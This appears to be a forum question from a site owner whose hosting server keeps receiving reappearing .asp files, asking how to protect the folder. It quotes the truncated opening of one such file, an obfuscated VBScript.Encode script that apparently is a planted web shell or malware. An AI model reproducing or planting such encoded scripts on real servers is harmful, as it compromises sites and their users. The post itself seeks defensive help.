how to defend my folder against hackers?

I have 4 websites on one hosting server. But in the last 5 or 6 days i' m getting some streng .asp files. But all of my websites on aspx. I'm deleting, bit it's apperaring after 3 or 4 hours. Can you please suggest me what to do? This code is on that file:
<%@ LANGUAGE="VBScript.Encode" CODEPAGE="65001"%> <%#@~^wA8AAA==v}x~ADMWD,IdEs+~16O@#@&/{(GY{o+DmCoxD`b@#@&d|Dn0.+M'LnD{DnWDnDvb@#@&5!+MX':Dbh`"+5E/O 5E+Mz?DDk Lb@#@&xKh;DsxrtOYalzJJ'];EndDRj+M-D#mDbl4^+kcJ_KPn|C6j:J#,'P"+;!ndYc?D-+.#mDrl(s+k`EKzKCm(gs6J*@#@&w.'rEmntTUHNp m94pE@#@&@#@&2{M+:KOnEMV{J4YO2=z&hSARTDC8^lYn. +URK.TzAShJmD+WOVS+rNm&* D6Yr@#@&a{DKGOEMV{J4YO2=z&oK[RNY%LH0R2AJJ@#@&am^E.^'rJ@#@&w|;D^'EJ@#@&@#@&@#@&w|.l NWsxEJ@#@&a{.Y;.^'PDbh`V+O]/?O.vwmD ...